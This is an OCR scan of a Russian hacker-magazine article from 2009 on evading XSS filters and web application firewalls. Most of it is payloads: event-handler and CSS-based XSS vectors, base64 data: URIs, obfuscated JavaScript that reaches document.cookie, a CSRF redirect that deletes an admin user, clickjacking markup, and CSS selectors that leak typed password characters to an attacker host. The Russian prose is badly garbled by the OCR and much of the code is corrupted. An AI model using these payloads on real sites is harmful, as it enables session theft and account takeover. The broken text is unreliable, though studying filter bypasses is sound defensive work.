Content-Length: 1234

Local Network

reg_username=%3cscript¥%3e...

-

Attacker

me, email) .. | @

insert into users (usemsr

3 reg.example.org ‘

.: Gateway / Firewall

HTTP Response @
HTIRIL:1.200, 0K Registration Database _

Content-Type: lexthiml
Conlent-Length: 48
ﬁ -
<html:
i

>
<p>Thonk you lor regletering.</p>
</himl>

[seleclusemame email from user;l @

192.168.0.1

X85 Attack ®

CXEMAOBXOLAFI
CMOMOLLBIO XSS.

1000 U1 CNOCOB OBOMTU XSS-OUNBTP
A He nepecTat yaMBNATLCA 3TOMY MUpy! Ecnu bbl ABe Hefenn Ha3aj KTo-

L*_@—.E

Administrator
(Victim)

HMOYOb CKa3an MHe, YTo A Byay MMCaThb CTaThiO B i, MOCBALLEHHYIO MEXK-

Cal/iTOBOMy CKPUNTUHTY — A Dbl paccMedsiCA N Tonpoci 3TOU L{}/,D‘HOI/I nebe-

bl. HO X>KM3Hb HA TO U XKU3Hb, 4TObbI HE nonaaBaTbCANPOrH03aM, a BTBOWX

pyKax cellyac MaTepu1anbHOE AO0Ka3aTeIbCTBO 3TOM0 PaKTa. He Toponuch

MPONNCTbLIBATH cTaTelo! Kak nokazana NPpaKTWKa, Oaxe orblTHble Crelna-

NINMCTeI NP HanMmMCcaxHnm qf)l/lﬂprOB HeYy4MNTbLIBAOT MHOXeCTBa BapMaHTOB,

OrpaHMYMBasACk NNLLILTEM, YTO MOXKHO HaliTK Ha ha.ckers.org/xss.html.

29 ABI'YCTA, 12:00, MTUTEP

B pamkax dectueang Chaos Construction
2009 crapTyeT koHkypc Realtime Bitrix WAF
Hack. Opranmsatopsl — «1C-Burtpure» 1
Possitive Technologies. Cmbicn 2aTen — npo-
TECTAPOBaTL GUNETP NPOAKTUBHON 3aLLMTE

WebApplicationFirewall. 9ta wrykoB1Ha cbpaba-

TBIBAET JaHHbIE, NOCTYNaloLlMe oT Nofb30saTena
(hitp-3aronosku u GFC] Ha npeaMeT Hanuuus
8 Hux SAL-injection, XSS, LFI v RFI. 3agaya

» 062

KOHKYPCEHTOR — 0B0WTW pUNLTP W NoKa3aTh
NPAMED OLHOMO M2 CTAHAPTHBIX BUA0OB aTaki.
CalT 3a8eA0MO0 COLEPXKMT YA3BUMOCTA, HO NOJb-
30BaTENLCKUE AaHHBle dULTpyioTea WAF MeHa
MPKBREKaeT skcryaTaluua XSS5 ToNLKo NoToMY,
uTo 0n9 KoHkypca Hack-Video st Hawen XS5-ya3-
8UMOCTE B none Referer boeporo «butprkca»
sepcui 8.0.5. banankHsle ><script> n onMouse™ q
yxe NonpoboBan AoMa, Tak 4T0 HaYMHAK0 PhIThCH B
naMaATK M Npobyte sapuaHTsl noxwTpee. LesonbHo

CKOPO HAXO3Ky MEPBLIN BAPUAHT aTakm, MHYT Ye-
pe3 30 — sTopoii. Monydaetcs, 4to yepea GribTp
MPOXOAAT CIIEAYIOLLNE CTPOKW:

<style>
@AEIN6DATONEFNT2N\74 url (http: //
onsec.ru/xss.css);
</style>
style=onsec:e&i92xpat92resiazsa#92
sE#921&#920&#%92n (alert (*X557))
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HTML Tricks

<object><param name="src" value=
"javascript:alert{0)"></param></object>

+ Round about way to assign the src paramater

<object data="javascript:alert(0)">

HTML-TPIOKM CO 3HAMEHUTON
MPE3EHTALMM HA TEMY XSS C
BLACKHAT 2009

37w BapwaHTsl Nposepsio nof |E 7. Kak noTom oka-
3a10Ck, BTOPORA elLe M 06x0 1T BCTPORHHEIA GUNETP
XSS |E8. Haynwue cTouT bonee yem xopotuas
rnoroga s agrycrosckoro [urepa, — NoatoMy Ha
Bonbluee meHs He xgaTaeT. Beuepom cneaylowero
[H$ BLIACHRETCH, YTO MOV NOMBITKA BblW CambiMK
MNOA0TBOPHEIMK. ITOT GaKT MeHs He repectaeT
YOMBIAT 10 CUX N0D, W MMEHHO OH IBNAETCS OCHO
BOW NPUYMHO A HAMWCAHKUS CTaTb.

7 CEHTABPHA, 01:00, MOCKBA

HewmHoro oToins oT NpouU30LUeLIErD U NONYYUB
B Harpany HTC-wky oT «BuTpukces, 9 noHan, uto
MEHS [NOXET MHTEPEC HAITK eLLe HTo-HWUDyab B
npecnosytoM WAF [3aTpaTue Ha nouckm He 40
MUHYT, a xaTs Bkl nonTopa yaca). K atomy BpeMern
$unbTp yaxe 3anartany, style Teneps He nponyc-
KaeT HW B BMAE T3ra, HU B Buae atpubyTa. Qokyc c
escape-KoaMpPoOBaHWEM TOXE HE NPOXOANT, PABHO
kaxkn &#92. CriokolHo Yutaio cneyudukaumio

Ha Dpay3epbl v HAXoXKy MPUATHYIO BO3MOXHOCTb
ncnone3oeats behavior nop |E, koTopoi Taku He
cymen Bocnonk3oBeatees Ha CC09 BBuay oTcyTe
TBUWS I0K&/IbHOMo Gaisia Hy>KHOro KOHTEHTa:

<P S "b&E#92eh&#92a6#92vEHI216
#920&#92r:url ( '#defaul t#timez2 ') "
MSDN — KNAJE3b 3HAHUW.ECZIU

HALO HAUTU HEOUILTPYEMBIU
EVENT—TEBECHOIA

A o LB AR

liemcode aemo,

OHJTAMH-CEPBUC JJ-ENCODE A5l
NPULAHUA JAVASCRIPT 3AKOH-
YEHHOI0 BUJA :)

XAKEP 10 /130/ 0%

onEnd="alert { 'ONSEC.ru russian

security team') ">

B moelt Bepcuu GuneTpa oHa ke He pabaTaerT,
HO Ha KoHrypee Bbina Ol kak pas B Temy. 3atem
Hawnack elle ogHa HedunbTpyemas XS5:

<MARQUEE BEHAVIOR="alternate"
onbounce="alert ('ONSEC.ru') ">xss
< /MARQUE

§7871 %
<MARQUEE onstart="alert ( 'ONSEC.
ru') "s>xss</MARQUEE>

B otrmdme ot behavior takce pabotaetue IE8, nB
FF3.5.Mocne 31oro 0T «HRCHCTEMHOI0» NMOAX0Aa K
NOUCKY YR3BUMOCTEI 4 0TKa3bIBalocs. MopManuayio
33[a4y NoMcKa 803MoKHbIX XSS5 10 nowcka HedunsT-
pyeMBIX T3M0B, aTPMBYTOR W 3HaYeHUI aTprbyToB.

ATPUBYThI

C ToukK 3peHus xakepa Hanbonee MHTepecHbl aT-
pubyThl cobLiTuil [Events), notomy 4t 370 npamMoi
crnocob k BeimonHeHno JavaScript-koja bez Tara
<script>. boneetoro, ona bpaysepos coseplueH-
HO JKBUBANEHTH CIeAYI0LMe BapUaHThI:

<a href="" onMouseMove="alert (1) ">
<a href="" onMouseMove="javascript:

alert(1)">

onMouseMov

'xakep:alert (1) ">
<& href=""
onMouseMove="nonxss:alert (1) ">
3toTouHo paboTtaeTu B IE 8, Opera 10.00, Firefox
3.5, Safari, Chrame. Kak gymaelus, sce bunstpbl
VIMEIOT NPaBWMEHEIE PENYNAPHbIE BhlpasXkeHUs
Nof, TakKe CTpokK? BoNsLINMHCTBO AeNCTBUTENb-
HO VMELOT, NOITOMY NPOCTO HAMOTaEM Ha yC W
[IBUHEMCS AanbLUIE.

Y aTpubyToB COBBITWMIA TPW HEAOCTaTKA:

1.Bri30B nponcxoanT nocne 4era-To, 1 370 «4T0-
TO» YacTo TpebyeT Kak1x-To AeMCTBUIA CO CTOPOHbI
noJfib30BaTens.

2. Bce atpubyTsl cobbiThid HauvHaOTCS Ha

«0nN», — YTO TeopeTYeckn No3BoNAeT HanucaTb
PerynapHOe BblPaXeHWs Mo, H1X BCEeX.
Z.06bI4YHO OHV MTPUMEHMbI TONTBKO K ONPEESEH-
HbIM T3ramM.

PacctpanBaTbes TyT He3a4eM — eLLe HU ONH
GUNLTR HE UMEET PerynspHOro BbIPaKeHUs Nofg,
Bce cobeiTns cpasy. CBA3aHo 370, Npesx/ae BCero,
CNO¥HEIMK cpabaTbiBaHWAMK, HO 0D 3TOM No3xe.
TakuTo — GUALTPYIOTCA 0DbIYHO KOHKPETHbIE
cobbIThA, M TYT M3-3a cobcTaeHHOM NneHu Npo-
rpaMMUCThI 2806IBa10T NPaYUTaTE CRelMduKaLmm
Bpayzepoe wnu xota bel MSDN, orpanuyusasics

LBYMS-TpEMS, B NYULLEM CNyUae AecaTbio cobbITus-
MU. A CKONbKO WX Ha camomM Aene? Ha aToT Bonpoc 5
Toxe xoTen bbl aHaTh OTBET, HO ANA €ro NonyyeHus
TpebyeTca, Kak MUHWUMYM, CODpaTL BMeCTe Bce
BEpCHW BCeX CylUecTByoLLIMX Opay3epoB 1 packo-
BhIpATH WX, NOTOMY HTQ B A0KYMEHTALMI TOXE He
BCerfaBee onucaHo. Husxe s npreeny Hamnbonee
noJHeIA Cvcok, KoTopkil cobrpan no kpynuuam:

Onaborkt; onactivate;
ocnafterprint; onafterupdate;
onbeforeactivate; cnbeforecopy;
onbeforecut; onbeforedeactivate;
onbeforeeditfocus; onbeforepaste;
onbeforeprint; onbetoreunload;
onbeforeupdate; onblur; onbounce;
cncel lchange; onchange;

cnclick; oncontextmenu;
oncontrolselect; oncopy; oncut;
cndataavailable; ondatasetchanged;
te:; ondblelick;

ondatasetcomple

ondeactivate; ondrag; ondragdrop;
cndragend; ondragenter;
ondragleave; ondragover;
cndragstart; ondrop; onerror;
onerrorupdate; onfilterchange;
onfinish; onfocus;

onfocusin; onfocusout;
onhashchange; onhelp;
onkeyvdown; onkeypress; onkeyup;
onlayoutcomplete; onload;
onlosecapture; onmessage;

onmousedown; onmouseenter;

onmousemove; cnmouseout ;

ONMOUSEeoVer; CNmouseup; ONmove;
onmoveend; onmovestart;
onoffline; ononline;

onpage; cnpaste; onprogress;
onpropertychange;
onreadystatechange; onreset;

onresize; onresizeend;

onresizestart; onrowenter;
onrowexit; onrowsdelete;

onrowsinserted; onscroll; onselect;

onselectionchange; onselect
onstart; onstop;

onstorage; onstoragecommit ;
onsubmit; ontimeerror; ontimeout;
onunload;

onend; onMediaComplet

onMediaError; onOutQfSyne; onPause;
onRepeat ;

onResume; onReverse; onSeek;
onSynchRestored; onTrackChange;

onURLFLip.

Hy yto, Heckonbko Bonblue 4eM Tel axknaan? 37o
elle naxe He BECk CNMCOKTOro, 41o 4 coﬁpaﬂ, He=
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CSS Overlays advanced atta
Verisign case study cont.
Using multiple iframes and di
with solid colours and positi

-we can coyer the other areas
wherever we like

» info
Brumarue! Mudop-
Mallys I'[pE,El[TaBJTEHa

tn with Your OpeniC

NCKIOYMUTENEHO
CUEnkio 03HaKoM-
neHual Hu asTop, HK
pefakuma 3aTeou
NeVCTBUA DTBETCTBEH -
HOCTH He HecyT!

OEMOHCTPALUMA MAEWU CLICKJACKING

KOTOpbIE KyCkM NoTepAnKce ;. MoTeHUnansHo Kaxaan cTpoyKa
13 3TOr0 cnucka — XS5-yA3snmocTs. Ho, Bo-nepskix, He Bcerga

YAAETCA «TIPUCTIOHUTEY €8 K HyKHOMY aTpubyTy, a BO-BTOPbIX,

— | He BCerfayAaeTcs CNpoBoLMpOBaTh HYXHOE 1A BeINONHEHUA

| Koga gencreme. Hapﬁiy e Coﬁzamqmm nna XS5-ataku MoryT
|| MCNOoNb30BaThes W Apyrie atpubyThl. BoT n3BeCTHbIe MHe:
b links
® 0x0d.rU — Mok codebase
Gnor. Muwy no mepe dynsrec
xenaHus. Koy kom- lowsrc
MEHTEPWEB, OTBEYY Ha xmlns
BOMPOCHI. seekSegmentTime
src
o tf p/put style
Jlencode.html —cep-
BUC N0 LWndpoBaHuio He BCE W3 HVX TPMBUANEHO MOTYT BbITh MCNONL30BaHLI, OAHAK],
JavaScripl. Korga uccnegyells GUABTR, He 3HEeLLb 38PaHee HUYEro U Hafo
cobpath Kak MOXHO BoJIbLIE HEGUNLTPYEMbIX UCKMNOYEHII,

* p4Z.usffa YTODBI NOTOM M3 HWX YKE FrOTOBMTh KOHKPETHYIO aTaky.
ppl — npeseHTauns

TEIA

Mpennonoxum, GUNLTP AAeT BO3MOXHOCTb BHIBOAWUTE Ha

XSS filters bypass

¢ BlackHat 2009.

CTPaHWLLY CUMBONEI <>, TakuM 0bpazom, MoxHo npoboBaTe pas-

h NMYHEIE TEMM. 3AECE ONATEL Pa3PaboTUMKK OCTABNRIOT XaKepam
antent none ans nencrauni. BoT cnvcok Teros, KoTopsle MPUrogaTca:

preser [ Style
— JoBonkHO bonbluas, Script
HO He CYeHb UHTEpEeC- Embed
Haf npe3eHTaumna no Object
x5S Applet
I a
. 1a 1
| Frame
[rsa il Frameset
eremial Ilayer
1= Layer
i — peKoMeHayt Bgsound
03HaAKOMWTLCH Base
cMaTepuanamuy Ha Xml
Temy CSRF. [mport
Link
Html
Img

A He srntoyake crona To1 ke <MARQUEE>, xoTq Bbiwe cam
MPUBOANI aTaKy ¢ ero noMolLsio. [lenao 31 yMbllneHHo — no
TOW e Noruke MoxHo Bbino BKAOYNTE Cloaa BoobLLe BCe Teru
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ECJIU XAKEP CTABUT MNEPEN
COBOW LUENb MOJTYYUTDb
NMONb3Y OT XSS-ATAKU, OH
CAENAET BPEJOHOCHbIN
Ko KOMBUHUPOBAHHbIM.

HTML. Takke B 3TOM CNWCKE ECTH apXxan3mel Bpoje <ilayers, — =
naxe He Depyck CKazaTs, Ha4MHas C Kakux BEPCKIA, NOMynapHsle
Bpaysepsl nepecrtani ero noafepxkusars. OaHako He 3absigai:
XSS — 310 urpa c bpaysepom 1 He Hapo npexebperath nieboi
B03MOXHOCTBI0. EC/IM Xakep CTaBUT nepes coboii Lens nony4nTs
nonbay 0T XSS-araku, oH 0bs3aTenbHO CARNaeT BpeaoHoC-
Hbl# KO, KOMBUHMPOBAHHBIM, BKITHOYWUT HECKOIIbKO TEM0B Nof
pasHbIe BepCUW pasHblx bpay3epoB. [1puroamTes Cobika Wi
wserts 110, — TaM MOXHO HaWTW pe3ynbTaThl TECTUPOBa-

HUA MHOTUX 3TpMBYTOB W TEr0R B pasnuyHbix bpaysepax.

CSRF, UIWHE JAVASCRIPT'OM
EAWHBIM

Kpome shinonnerna JavaScript [Hy nnm Toro xe VBScript)

KOL@, CXOXME aTaku MOTYT MPUMEHSTLCS [INTH OTTPaBKK
3anpocoe bes Bepoma nons3osarens. OHW noay4mam Ha-
3saxme Cross-Site Request Forgery. Camulin Tpusmnans-

Hblid cnocob —<img sre=http://megasite.ru/
mygetrequest Pmygetparam=value>. [Ipuobpabotke
Takoro Tera BHyTpu Nroboi HTML-cTpannue bpaysep nonszosa-
Tens Cpasy NoNe3eT MCKaTh KAPTUHKY M0 afipecy, T0 eCTs OTNpasmT
Tyaa HTTP GET 3anpoc. Takum 0bpa3oM, MoXHO, HanprMep,
nonpobogaTh OTNPaBKTE 3aNPOC K aAMUHKE, 8C/IW OHA Takas
HebesonackHas, 4to npuHrMaeT GET. AoMuHmcTpaTtop 3axoamnT
Ha CTpaHuUy 1 ero bpay3ep Ne3eT NcKaTh KapTUHKY, OTNPaBNAS
32MpoC agMMHKCTRATMBHOMY CkpynTy [pasymeeTes, ¢ NpaBunk-
HBIMI KyKMCaMY anMMHMCTpaTopa v ot ero IP-appeca). Ecnu
GUNETPYIOTCR PACLLUMPEH NS WK KIHYEBKIE CNOBA 38MPOCa — He
berna. Takas «3all1Ta» BblefeHHoro Aiua He ctouT. CornacHo
crneuvdmkaumm hitp-npotokona, cTaTyc 3xx roBOpUT 0 Nepeme-
LLEHMM KOHTEHTE M HA[,0 NOCAATE 3aNpoC Ha YKa3aHHsIA a/1pec.
Cozpnaem ckpunt img.php (MoxHo 1img.gif, HacTpous ceoid Beb-
cepsep COOTBETCTBYIOLLMM 06pasomM) ciegyloLero conepxaHus:

<?php

header ( 'Location: http://attacked-host/
admin.php?act=delUser&id=1");

die{);

— W nony4aemM poBHLIM CHETOM TO Ke CaMoe, Takum oﬁpaaom.
BCE, YTO M03BONAET BCTABNATL CBOM KAPTUHKI B COOBLLEHUS
noaxoonT AN atak., Ty ' HEMHOIO NYKaBo, NOTOMY 410 Beb-
NPUSICKEHWE MOXKET 3aNpocKUTL BalThl TBOBID «PUCYHKE® I
nporHaTe kx yepes rpaduueckyio bubnuoteky, Hanpumep LibGD.
Torpa Takel cnocob He npoiger. Bnpoyem, nogobHeix Beb-npu-
noxXeHWi o4eHsb Mana. Ho ato ewwe nerko. Ecau ects JavaScript
— moxHo pabotats ¢ DOM-obbekTamu, HanpyiMep, oTNPEBAATE
hopmbl. 370, kak MuHMMYM, faeT yxke POST-3anpoc. [pocTo
coznaews document.write HyxHble 0bbexTsl form, input u ece
ocTaneHoe rage-Hubyas B HeBMAMMOM div, a MoToM fenaeilb
document.myform.submit(]. Ewe moxHo otnpasute POST-
3anpoc Yepes BCTpoeHHbie ofbexTsl window. ActiveXObject

nng Internet Explorer nwindow. XMLHttpRequest gns Mozilla,
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HA.CKERS.ORG — A3BYKA XSS.
PEKOMEH/0BAHO K NEPEOCMbIC-
NEHWIO

Safari, Chrome. YHueepcansHeii JavaScript byger
MPYMEPHO TAKUM:

function makePOSTRequest
(url, parameters)

est = false;

httr

if (window.XMLHtLtLpReguest)

{

http_request = new XMLHt tpRegquest () ;

if (http_request.overrideMi
{

// set type

accordingly to anticipated

content type

http request.overrideMimeType {
‘text/html ') ;

}
}
else if (window.ActiveXObject
Ly A

try {

http _request = new ActiveXObject (

"Msxml2 . XMLHTTP") ;

4

catch (e)
[

fi o |

http_recquest = ne

ActiveXObject (
"Microsoft . XMLHT

i

catch (&)

£

}
if (!http_request)

return false;

recquest .onreadystatechange = \

alertContents;

http_request.open('POST', url, true);
http request.setRequestHeader (

"Conte

"applic www-form-urlencoded") ;

http_request.setRequestHeader (
"Content-length®, parameters. length) ;

http_request .setRequestHeader (
"Connection", "close");

http recquest.send(parameters) ;

}

Ho camblii Becenblil Bap1aHT, KOTOPKIA MHe
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Firefox

TACAMASA XSS YEPE3 BUTPUKC
WAF, KOTOPAA HALUNTACB NMOCTE
CHAOS CONSTRUCTIONS 2009

e

nornancs, pacrnedaTtslBaeT KapTUHKY Ha MpUHTEpE.
ATaka BuIrNAANUT crefyioliM obpasom:

<img src='myprinter:9100/Printed

from_the_ web/>

370, KOHEYHO, KOHLEMNLKA, HO C MOMOLLLI0
JavaScriptu POST-3anpoca nevats jencrsmn-
TeNbLHO NOAYYMTCS.

CLICKJACKING

370 HOBaAsA W UHTEpECHasA TexHKKa, CyTh NpoCTa, Kak
NOMUAOP — aTaKyeMbli C3AT NOArPYKAETCA KaK
NOAN0XKKa N0 KakoW-HWDYLL Apyrol CNoW, Hanpu-
Mep, Mrpy THNa «nenagw Msllkoh». Monb3osarens
LLBIKEET MO ABKXKYLIENCH MALIEHW, HEXMMAS Ha
peanbHblIE KHOMKK aTakyemMoro CEIGITB, KOTprIl?I OH
He BuauT. CoenaTh 3TO MOXHO 1 ¢ NnoMoLLbio Flash

u c noMolsio CSS. Boteapuant ot David Ross:

iframe, frame,object ,applet {
border:1px solid #000 !important;
visibility:vigible !important;
opacity: 1 !limportant;

filter:

alpha {opacity=100)

limportant;

overflow:auto !important;

MnueoT — oT eroxe BaHas — ¢ noMoLsio htmlu
cTnen:

<html>
<head:>
</head>
<body>

ge ISMAP style="position:
absolute;width:100%;height:10
0%; " onmousedown="this.stvle.
display='none'">
<iframe src="http://www.microsoft.
com" id=x type=text/html width=500
height=500 codetype=text /html

id=x></iframe=</images>

XSS, KOTOPASA OBXOAUT ®UNBT-
PALINIO BJIATOJAPA KOOUPOBKE
UTF-7. BbITAHAWOEHA
BGOOGLEB 2005 01Y

TyT 7 3aaepxuBaTscs ocobo He Byay. Boabmi Ha
3EMETKY, 8CW UTO HeNoHATHO — B CeTu MHoro
MaTepuanos Ha aTy TeMy. 7 e Npofosixy noBecT-
BOBaHWE UMEHHD 0 MeTofax 0Bxoda pUNLTPOB.

BYAb CTUJIbHbIM!
MUCMOJZIb30BAHUE CS52
N CSS3 AN1A XSS

[Npexae Bcero, ynoMaHy saesxerHsie ey, [na
Internet Explorer cywectayeT cnocob BoiNoAHATL
JavaScript ¢ noMaubio dyHkumMK expression(). B
KauyecTBE apryMeHTa el nepe/jaeTcs cam CKpunT.
MpyMep peann3aummn — 8 CaMOM Ha4vane cTaThbi.
YyTe MEHEEe 3ae3XKeHHbIM npuem ana |E — venonk-
3oBaHuMe behavior. Tpobnema B TOM, 4TO MOXHO
NOAKNOYUTE TONLKO QAN PECNONGXKERHEIN Ha
TOM e gomeHe. BotHTML:

<div style="behavior: url{“/file.

HEE”)

Comepxumoe nogrniouaemoro gaina npUMepHo
crnepyiolee:

<attach event="cndocumentready"
handler="parseStylesheets" />
<script language="JavaScript">
function parseStylesheets () {

alert (document .cookie + '\nONSEC.

ru security research team')

}

</script>

EcTb HebonbLUOR NONGKUTENHBIR MOMEHT —
TaKylo KGHCTPYKLMIO MOXHO 3aCYHYTh BHYTPb ApY-
roro HTML; |IE pacnoznaeT1aM BCe, 4TO HAM HAA0
Y BEINOAHWT. Takum 0Dpa3om, eCTb BOIMOXHOCTb
MCNONb30BaThes Kak bul Ba XS5 kpAfy 1 Bui3BaTb
KaKy0-HUOYAb 8 AMUHWUCTPATUBHYIO javascript-
dyHrymio. Cervac pacckaxy bonee nonpobHo.
[peanonoxum, ects caliT cyazruMocTiio XS5

W GUNLTPOM, KOTOPBIA GuneTpyeT script, Ho
nponyckaet behavior. [lns varnanHocTy, — nycTs
CYLLLECTBYeT YA3BUMOCTb B 8AMAHKE 1 B NOWC-

Ke, Ho BCe BapuaHThl XS5, kpome behavior, He
paboTatwoT. [lpeanarato BOT TaKOW «ABAWHON»
BekTop:http: //xssed-site.com/search/g=<div
style="behavior:url (http://xssed-site.com/
admin/g=<attach event="ondocumentready"

handler="dellser(1)"/>)>
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TyT MBI MOAKITIOHEEM K CTPAHMLE MOUCKE CTPEHK-
Uy afMUHKR, Tae Takke nprcytcteyeT XSS, [pw
aToM NpreasbipaeM dyrkumio delUser(1] (ewe
paz NoBToRIo, 9Ta He Halla GyHKUMS, & PYHKLNA
camaii aiMuHkm| K cobeiTrio ondocumentready.
Bce Ha opoHoM fomeHe, u Takoi kog otpabotaert!
Enem pansie. [na ABMXKKE MO3WAMbI €CTH

Takan LUTYKOBMHa, kak —moz-binding:

hackme -]. 310 nozonaer
NOAKAIYNTE BHEWHWA XML, BHyTpY kaTopero
bynet conepxatsea JavaScript. Bot npuMep
Takoro XML -daiina:

<bindings xmlns="http://

www.mozilla.org/xbl"

xmins:html="http: //www.

w3 .0rg/1999/xhtml ">
<binding id="xss">
<implementations>
<constructors
alert ("2

constructor>

mplementation>

</binding>

</bindings>

ECTh gJHa ManeHbkas 3areosgka — HPME‘M He
bynet pabotate B FF3.5. MokoH4us c ocobeHHoc-
TAMKU Bpay3epoe., nepexodunM K ocobeHHoCTaM
camorao CSS. HauHeM, KoHeuHo, C HKNyaos. C
TOYHOCTHI [0 MPeiCcTaBNeHns KOAa CHHTaKCuC
BLIFNAAWT BOTTAK:

<style>

Rimport "http://xakepsite.com/xss.css"

<fstvle>

Hy, a y>xe BHyTpW 37010 Ge300pa3ns MOXHE CKPbITh
BCE, UTO YIIOMAHYTO BhILe. Tenepk 4yTk Becenee
— YTeHWEe 3Ha4eHni Teros NoCpecTBOM YUCTOrD
CSS3. lna npumepa, y Hac uMeeTcs input, B KOTO-
pbivi NONB30BATENL BBOAWT Naposie. [ 1pukpyynea-
em CSS ¢ cogepxaHunem:

input {[value*="\x10"] {

background:url ("//xakepsite.

com/ ?h=\x10") ;

3}

. ¥ TAK nalee ...

input [value*="\x7F"] {
background:url (“//attacker.
com/ ?h=\xTEF");

Yo 370 naer? Kaxablil pas, korga CMMB0 Napons
nonapaet g avanasod 10-7F, oTceinaetcs coot-
BETCTEYKLLWA 3anpoc. TakumM 06pa3om, No BuIX0aY
y Hac bynyT Bce cuMBonbl napons. OctaneTcs
TOBKO PACNONOKNTE UX B HY>KHOM nopsiaxe. B
peantHoi xusnu guanazor e 111 cuMeonos
MOXHO PACLUMPUTL, 3 C MOMOLLEH ACHHXPOHHbBIX
BrMoueHnin CSS BoccTaHOBUTL M NOCNE0Ba-
TeNbHOCTH CUMBONOB. TYT 5 0CTaHABNMBATLCH HE
Byay, NprMep peanysaunmn —
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3TWU AEBYLUKW BbIJAKTHAIPALY
SAKAXAYIO HAUQEHHYHO YA3BU-
MOCTb B CEPBUCAX GOOGLE

DATA:TEXT/HTML

MonynspHbli B nocnefHee BpeMd npuem obxona
bunsTpoB. [nasHoe NpenMylLecTBo — NoaaepKka
basebd-qopmara. Takum obpasom, BHYTpEHHEE
BblpaxeHue GUNbTPaM NoABepkeHo 3a8e40M0 He
Bynet. Peannaaumu, Hanprmep, Takne:

frame src="data:text/html;basebd,
PHNjemlwdD5hbGVydCgnWFNTIy k8L3NT cm
lwdDagr”
<FRAMESET><FRAME SRC="data:text/htm
| ;baseéd , PHNJcmlwdD5hbGVy dCanWFENTJ
yk8L3NjecmlwdDAK " >< /FRAMESET >
<OBJECT TYPE="text/x-scriptlet"
DATA="data:text /html; , PHNj ¢
wdD5ShbGVydCgnWENTIyk8L3N]cmlwdD4
</OBJECT>

>< /1 frames

base6d

Takske NpeKkpacHOo BLINOMHAETCH B aApeCcHOK
cTpoke Bpaysepa. Paboraer esge. kpome Internet
Explorer. Momumo text/html MoxHo Mcnons308aTh
BapVauyy Ha Temy.

«0BbOYCKALUA» KOOA

Bpayaepsl no-pasHomy obpabateiBalor HTML

— 3T0 HW ANS Koro He cekpeT. Micnonbaya te unu
KHbIe 0C0BEHHOCTU, MOXHO NPpUBOAATE paboynii
KOM K COCTORHWIO, KOT /13 OH HE NoNafasT nof
perynspHele Belpaxerus gunstpos. [prpoge
MIBECTHLI MHOTWME BAPUEHTHI, Hanpumep:

<p/alt="noxss"onmouseover=alert (/

X88/) >test</p>

Paboraers Opera 10, I[E 8, FF 3.5, Ho He noHmma-
etcst Chrome v Safari.

<style>@\69\6A\NTONGENT2NTE /Y
site.com/xss.css';</style>
<p style="f&#92;iltere&#92;d:

vas#92;lue" />

xakep-¢

<div style=f\il\te\r\ed:val\ues</div>
<div style=xss:465\TBNTONT2N65NT3NT
3NEONEENGe 28616 NBE T2V T4N28)031

N29%29></div>

<div

style=xss:&H926 546536 H925#55&456
SHO2EHE5EHABEHIZEHE5&HS0&HI2EHEAE
53&#926 #5515 1& 926 #55&#516#926#54
EHOTEHI2EH548 410286 F926#54&#1 01 &#92
EHS0LHSAEHI2EHSAEHA9&HIZEHSALHIOEH
GREH545 536926 #5586 #5086 H#925455&#52

ERO2EHS08H56EH926#516H#498H926#508F
57TR#92&#50&#5T></div>
<!—xss:expression(alert (1)) -->

Pabaraer Opera 10, Chrome, Safari, [E8, FF3.5 [cam
expression, eCcTECTBEHHO, 0TpabaTbiBaeTCs TONBKO
|E).EcTb npekpacHas ncenenosatenscxas pabora
1o pacro3HasaHunio TeroB v atprbyTos s Internet
Explorer 6. HoTak kak 0Ha HEMHOID yCTapena, 4

He Byay LTuposaTk NpuemMs oTtyaa. Ecnu byaet
KenaHme — Hanaellb ee Ha an | .Npeano-
NOXKIM TEMNEePh CUTYALWIO, YTO JOCTYH K BEITNOJ
HeHwIo JavaScript nonyyeH, 0HaKo GUALTD He
MPONYCKAET Hy>kHbIE BelpaskeHus spoae document.
cookie, location.href, document.write 1 npodee. Tyt
paccTpaneaThes HeaadeM. [oka GuisTp He 1Meer
JavaScript-npolieccopa, ero Bcerfa MoxHo 00oHTH
cpepacTEaMK camoro JavaScript. Ha npowegwen
BlackHat 2009 6bin npeacTaBneH MHTEpecHblk
cnocob nprBeaeHUs Koaa K HedrnbTpYEMOMY By
— alert(1) samensetcs Ha json-npeacTasneque:

(==L e - tamalite
~S] L ES) [ I‘($$= S E= )
[ ]me (ST S R e
I,_+-'$J'$,[J+$$1 ,f,)

Hy, kak, unTaemo? A rnagHoe — BCE CUMBONbI NeYaT-
Hele. IToT NpyMMep A nogpobro pazobpan B ceoeli 3a-
MeTke: hilp://oxod.ru/2009/0t b X bu

0 No-CPEACTBaM-0f

Aam NpUMapYrK
obxoga dunsrpaumn document.cookie oT MeHs:

(e=("+([]

[pop! ) ) (=" tEREs )
_[L1+3 6] Falalts =

m'+5[20]+5[2]+5[4] ;85 =

S[3]1+48[61+5[6]+"k"+$[5]+5[207;

alert (this[$55] [5S

TyT uaes BTOM, UTO, TPUBOLS TUMbI U 3HaYE-
HWA NEPEMEHHbIX K CTPOKaM, Mbl NONy4aemM 13
HIX HY>KHbIE CUMBOMbI 1151 COCTABIEHWA CNOB
document u cookie. ECTECTBEHHO, HW DAKH
(GUNLTP HE CNPaBUTCH C TaKOW 3a/1a4el, He umes
BO3MOXHOCTY CaMOMY BLINOAHATE JavaScript.

3AKJIOYEHUE

X0Ten 3a0CTPMTh BHUMAHWE UMEHHO Ha XS5~
bUNLTpax, KaTOpbLIE B NOCAeAHEE BpeMs BCE Yalle
noasnawTcs Ha Beb-cepeepax. [py HanucaHum
UNETPOR O4eHE BAXHO NOKMATL FpaHb MEX Y HE-
obxoauMbIM 1 n3nULLHUM. M obasaTensHo — npo-
BEPUTE QUALTP HA NOXHbIE cpabaTsiBaHs, HTods!
NoToM HE NPULLINOCH pasﬁwpamcw C HEroOy WMk
I‘IOJ'IbEODaTEﬂﬂMVI.TeﬂQpb CTano o4eBWAHO, 4TO
OTOENSTLCS JECATHIO PENYAAPHbLIMA Eb\anEHViHMM
He BLiAaeT. BoT Bpoae bkl v BCe, Npr3LIEAID NMCaTL
XOpoLUKe NPOLYKThI ¥ UCCNE0BaTL UX C IHTY3Ma3-

T =

mMoM. Ha Bonpockl aTBevalo 8 Gnore oxod.ru. 3¢

XAKEP 10 /130/ 09



HOBBIE XAK-KBECTbI KAMIbIM MECALL
Ha
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X-KOHKYPC

DEFENDER ZURICH 755
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s Paspewenue: 800 cpi / 1600 cpi




=_
=
M0 «CRAWLER» MCYNOE CRAWLER@XAKEP.RU &
S Noy; - /
‘zap =

JHUWKJIONEANA

=
= %
=y
B
